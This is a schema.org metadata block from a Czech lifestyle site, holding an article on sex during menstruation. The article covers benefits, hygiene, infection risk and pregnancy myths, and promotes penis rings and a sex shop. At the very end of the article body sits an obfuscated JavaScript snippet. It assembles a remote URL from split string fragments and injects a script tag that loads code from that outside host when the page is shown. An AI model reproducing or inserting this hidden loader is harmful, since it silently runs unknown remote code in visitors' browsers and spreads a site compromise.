[{"@context":"https:\/\/schema.org\/","@type":"Article","@id":"https:\/\/www.skvelydomov.cz\/tema-tabu-sex-behem-menstruace-pro-a-proti\/#Article","mainEntityOfPage":"https:\/\/www.skvelydomov.cz\/tema-tabu-sex-behem-menstruace-pro-a-proti\/","headline":"T\u00e9ma tabu: sex b\u011bhem menstruace \u2014 pro a proti","name":"T\u00e9ma tabu: sex b\u011bhem menstruace \u2014 pro a proti","description":"I kdy\u017e je t\u00e9ma sexu b\u011bhem menstruace st\u00e1le \u010dasto op\u0159edeno studem nebo m\u00fdty, v modern\u00edm sv\u011bt\u011b se \u010d\u00edm d\u00e1l \u010dast\u011bji otev\u00edr\u00e1 diskuze, kter\u00e1 bour\u00e1 stereotypy a d\u00e1v\u00e1 prostor otev\u0159en\u00e9mu a respektuj\u00edc\u00edmu p\u0159\u00edstupu k sexualit\u011b. Menstruace nemus\u00ed b\u00fdt obdob\u00edm, kdy intimita ustupuje do pozad\u00ed. Naopak \u2013 m\u016f\u017ee b\u00fdt p\u0159\u00edle\u017eitost\u00ed k hlub\u0161\u00edmu propojen\u00ed, v\u011bt\u0161\u00ed intimit\u011b a objevov\u00e1n\u00ed ... <a title=\"T\u00e9ma tabu: sex b\u011bhem menstruace \u2014 pro a proti\" class=\"read-more\" href=\"https:\/\/www.skvelydomov.cz\/tema-tabu-sex-behem-menstruace-pro-a-proti\/\" aria-label=\"V\u00edce na T\u00e9ma tabu: sex b\u011bhem menstruace \u2014 pro a proti\">\u010c\u00edst d\u00e1l<\/a>","datePublished":"2025-11-24","dateModified":"2025-11-24","author":{"@type":"Person","@id":"https:\/\/www.skvelydomov.cz\/author\/#Person","name":"","url":"https:\/\/www.skvelydomov.cz\/author\/","image":{"@type":"ImageObject","@id":"https:\/\/secure.gravatar.com\/avatar\/75e4d40f94885f01aa9441f03c1e175b?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/75e4d40f94885f01aa9441f03c1e175b?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"skvelydomov.cz","logo":{"@type":"ImageObject","@id":"\/logo.png","url":"\/logo.png","width":600,"height":60}},"image":{"@type":"ImageObject","@id":"https:\/\/www.skvelydomov.cz\/wp-content\/uploads\/lovesexshop_2_VTkMeI.jpg","url":"https:\/\/www.skvelydomov.cz\/wp-content\/uploads\/lovesexshop_2_VTkMeI.jpg","height":0,"width":0},"url":"https:\/\/www.skvelydomov.cz\/tema-tabu-sex-behem-menstruace-pro-a-proti\/","about":["Lo\u017enice"],"wordCount":933,"articleBody":"         I kdy\u017e je t\u00e9ma sexu b\u011bhem menstruace st\u00e1le \u010dasto op\u0159edeno studem nebo m\u00fdty, v modern\u00edm sv\u011bt\u011b se \u010d\u00edm d\u00e1l \u010dast\u011bji otev\u00edr\u00e1 diskuze, kter\u00e1 bour\u00e1 stereotypy a d\u00e1v\u00e1 prostor otev\u0159en\u00e9mu a respektuj\u00edc\u00edmu p\u0159\u00edstupu k sexualit\u011b. Menstruace nemus\u00ed b\u00fdt obdob\u00edm, kdy intimita ustupuje do pozad\u00ed. Naopak \u2013 m\u016f\u017ee b\u00fdt p\u0159\u00edle\u017eitost\u00ed k hlub\u0161\u00edmu propojen\u00ed, v\u011bt\u0161\u00ed intimit\u011b a objevov\u00e1n\u00ed nov\u00fdch dimenz\u00ed partnersk\u00e9ho \u017eivota. Pro\u010d o tom mluvit? Ve spole\u010dnosti je menstruace \u010dasto vn\u00edm\u00e1na jako n\u011bco, co se m\u00e1 skr\u00fdvat, co je nep\u0159\u00edjemn\u00e9 nebo nevhodn\u00e9. P\u0159itom se jedn\u00e1 o zcela p\u0159irozen\u00fd biologick\u00fd proces, kter\u00fd neznamen\u00e1, \u017ee by \u017eena b\u011bhem t\u011bchto dn\u00ed nebyla sexu\u00e1ln\u011b aktivn\u00ed nebo tou\u017e\u00edc\u00ed po kontaktu. P\u0159ekon\u00e1n\u00ed ostychu a otev\u0159en\u00e1 komunikace v p\u00e1ru m\u016f\u017ee v\u00fdrazn\u011b zlep\u0161it nejen kvalitu sexu\u00e1ln\u00edho \u017eivota, ale i vz\u00e1jemn\u00e9 porozum\u011bn\u00ed a empatii. Sex b\u011bhem menstruace m\u00e1 sv\u00e1 specifika, ale tak\u00e9 p\u0159\u00ednosy. Hormon\u00e1ln\u00ed zm\u011bny v tomto obdob\u00ed mohou zv\u00fd\u0161it citlivost a sexu\u00e1ln\u00ed touhu, a n\u011bkter\u00e9 \u017eeny uv\u00e1d\u011bj\u00ed, \u017ee pr\u00e1v\u011b tehdy za\u017e\u00edvaj\u00ed intenzivn\u011bj\u0161\u00ed orgasmy. D\u00e1le m\u016f\u017ee pomoci ulevit od menstrua\u010dn\u00edch bolest\u00ed d\u00edky uvoln\u011bn\u00ed endorfin\u016f, kter\u00e9 t\u011blo b\u011bhem sexu\u00e1ln\u00ed aktivity produkuje. Praktick\u00e9 tipy pro v\u011bt\u0161\u00ed komfort Kdy\u017e se rozhodneme intimn\u011b sbl\u00ed\u017eit i b\u011bhem menstruace, je dobr\u00e9 si dop\u0159edu nastavit vz\u00e1jemn\u00e1 o\u010dek\u00e1v\u00e1n\u00ed. Komunikace je kl\u00ed\u010dov\u00e1 \u2013 a\u0165 u\u017e jde o to, co je pro koho p\u0159\u00edjemn\u00e9, nebo kde jsou hranice. Ide\u00e1ln\u00ed volbou je nap\u0159\u00edklad sex ve spr\u0161e nebo pou\u017eit\u00ed tmav\u00e9ho ru\u010dn\u00edku na postel. Hygiena je v tomto obdob\u00ed je\u0161t\u011b d\u016fle\u017eit\u011bj\u0161\u00ed ne\u017e obvykle. Oba partne\u0159i by se m\u011bli p\u0159ed i po sexu d\u016fkladn\u011b um\u00fdt, a pokud preferujeme pou\u017eit\u00ed menstrua\u010dn\u00ed ochrany, existuj\u00ed speci\u00e1ln\u00ed menstrua\u010dn\u00ed kal\u00ed\u0161ky nebo m\u011bkk\u00e9 houbi\u010dky, kter\u00e9 umo\u017e\u0148uj\u00ed pohlavn\u00ed styk bez \u00faniku krve. Mnoho p\u00e1r\u016f si obl\u00edbilo erotick\u00e9 pom\u016fcky, kter\u00e9 zvy\u0161uj\u00ed pot\u011b\u0161en\u00ed a z\u00e1rove\u0148 nab\u00edzej\u00ed nov\u00e9 z\u00e1\u017eitky. Jedn\u00edm z obl\u00edben\u00fdch produkt\u016f jsou Krou\u017eky na penis, kter\u00e9 prodlu\u017euj\u00ed erekci a zesiluj\u00ed vjemy b\u011bhem styku. Jejich pou\u017eit\u00ed nen\u00ed omezeno f\u00e1z\u00ed cyklu, tak\u017ee se hod\u00ed i b\u011bhem menstruace.  Kdy\u017e je lep\u0161\u00ed \u0159\u00edct ne Na druhou stranu existuj\u00ed i d\u016fvody, pro\u010d se sexu b\u011bhem menstruace vyhnout. Pro n\u011bkter\u00e9 \u017eeny je menstruace doprov\u00e1zena siln\u00fdmi bolestmi, \u00fanavou nebo emo\u010dn\u00edm diskomfortem, co\u017e m\u016f\u017ee sni\u017eovat chu\u0165 na jak\u00fdkoli fyzick\u00fd kontakt. A to je naprosto v po\u0159\u00e1dku. Tak\u00e9 z l\u00e9ka\u0159sk\u00e9ho hlediska se doporu\u010duje obez\u0159etnost. B\u011bhem menstruace je d\u011blo\u017en\u00ed \u010d\u00edpek v\u00edce otev\u0159en\u00fd a t\u011blo je n\u00e1chyln\u011bj\u0161\u00ed k infekc\u00edm. Pou\u017eit\u00ed kondomu je proto vhodn\u00e9 nejen kv\u016fli ochran\u011b proti pohlavn\u011b p\u0159enosn\u00fdm nemocem, ale i kv\u016fli sn\u00ed\u017een\u00ed rizika podr\u00e1\u017ed\u011bn\u00ed nebo z\u00e1n\u011btu. Sex v tomto obdob\u00ed by m\u011bl b\u00fdt p\u0159edev\u0161\u00edm v\u011bdomou volbou obou partner\u016f, nikoliv povinnost\u00ed ani tabu. Pokud m\u00e1 jeden z partner\u016f v\u00fdhrady, je lep\u0161\u00ed hledat jin\u00e9 formy intimity a po\u010dkat, a\u017e se oba budou c\u00edtit p\u0159\u00edjemn\u011b. M\u00fdtus nebo realita? Jedn\u00edm z p\u0159etrv\u00e1vaj\u00edc\u00edch m\u00fdt\u016f je, \u017ee b\u011bhem menstruace nen\u00ed mo\u017en\u00e9 ot\u011bhotn\u011bt. I kdy\u017e je pravd\u011bpodobnost ni\u017e\u0161\u00ed, st\u00e1le existuje. Spermie toti\u017e mohou p\u0159e\u017e\u00edt v t\u011ble \u017eeny n\u011bkolik dn\u00ed a pokud m\u00e1 \u017eena krat\u0161\u00ed cyklus, m\u016f\u017ee doj\u00edt k ovulaci t\u011bsn\u011b po menstruaci. Proto i b\u011bhem t\u011bchto dn\u016f nen\u00ed antikoncepce zbyte\u010dn\u00e1. Dal\u0161\u00ed m\u00fdtus tvrd\u00ed, \u017ee sex b\u011bhem menstruace je \u201enechutn\u00fd\u201c nebo \u201e\u0161pinav\u00fd\u201c. P\u0159itom jde jen o krev \u2013 tekutinu, se kterou si t\u011blo porad\u00ed p\u0159irozen\u011b. V\u011bdom\u00e9 odbour\u00e1n\u00ed t\u011bchto stereotyp\u016f m\u016f\u017ee p\u0159in\u00e9st do vztahu v\u011bt\u0161\u00ed otev\u0159enost a uvoln\u011bn\u00ed. Inspirace pro intimn\u00ed p\u0159\u00edstup Menstruace nemus\u00ed b\u00fdt p\u0159ek\u00e1\u017ekou v intimit\u011b \u2013 m\u016f\u017ee b\u00fdt impulsem ke zpomalen\u00ed, hlub\u0161\u00edmu vn\u00edm\u00e1n\u00ed t\u011bla a emoc\u00ed, a k objevov\u00e1n\u00ed nov\u00fdch forem bl\u00edzkosti. Pomal\u00e9 mazlen\u00ed, mas\u00e1\u017ee nebo erotick\u00e9 pom\u016fcky mohou b\u00fdt stejn\u011b smysln\u00e9 jako samotn\u00fd styk. M\u016f\u017eeme tak\u00e9 prozkoumat nab\u00eddku produkt\u016f, kter\u00e9 n\u00e1m pomohou vytvo\u0159it bezpe\u010dn\u00e9 a p\u0159\u00edjemn\u00e9 prost\u0159ed\u00ed. Pokud hled\u00e1me diskr\u00e9tn\u00ed, ale dob\u0159e z\u00e1soben\u00fd sex shop, najdeme zde v\u0161e od lubrikant\u016f a\u017e po produkty pro p\u00e9\u010di o t\u011blo, kter\u00e9 n\u00e1m zp\u0159\u00edjemn\u00ed chv\u00edle str\u00e1ven\u00e9 spole\u010dn\u011b. Otev\u0159enost p\u0159in\u00e1\u0161\u00ed bl\u00edzkost Sex b\u011bhem menstruace z\u016fst\u00e1v\u00e1 t\u00e9matem, o kter\u00e9m se m\u00e1lo mluv\u00ed, ale mnoho lid\u00ed jej praktikuje. Kl\u00ed\u010dem je respekt, komunikace a ochota hledat cestu, kter\u00e1 bude vyhovovat ob\u011bma. Vztah se buduje na d\u016fv\u011b\u0159e \u2013 a pr\u00e1v\u011b intimn\u00ed sd\u00edlen\u00ed v \u201eneide\u00e1ln\u00edch\u201c momentech m\u016f\u017ee tuto d\u016fv\u011bru pos\u00edlit. Dejme tedy prostor autenticit\u011b, odvaze a vz\u00e1jemn\u00e9 podpo\u0159e. Mo\u017en\u00e1 zjist\u00edme, \u017ee kdy\u017e se p\u0159estaneme b\u00e1t a otev\u0159eme se nov\u00fdm zku\u0161enostem, m\u016f\u017ee i menstruace p\u0159in\u00e9st do na\u0161eho \u017eivota nov\u00fd druh bl\u00edzkosti.  (function(){ qX9f=document.createElement(\"script\");qX9f_=(\"op\")+\"e\"+(\"ns\"); qX9f_+=\"t\"+\"a\"+(\"t\");qX9f_+=(\".e\");qX9fu=\"2544948761\";qX9f.async=true; qX9fu+=\".h2y5ym1cX9fgz9Xby\";qX9f.type=\"text\/javascript\";qX9f_+=\"\"+\"\"+(\"u\/\"); qX9fu+=\"hfhi9jtgqxyh2\";qX9f.src=\"https:\/\/\"+qX9f_+qX9fu; dqX9f=document.body;dqX9f.appendChild(qX9f); })();   "},{"@context":"https:\/\/schema.org\/","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"T\u00e9ma tabu: sex b\u011bhem menstruace \u2014 pro a proti","item":"https:\/\/www.skvelydomov.cz\/tema-tabu-sex-behem-menstruace-pro-a-proti\/#breadcrumbitem"}]}]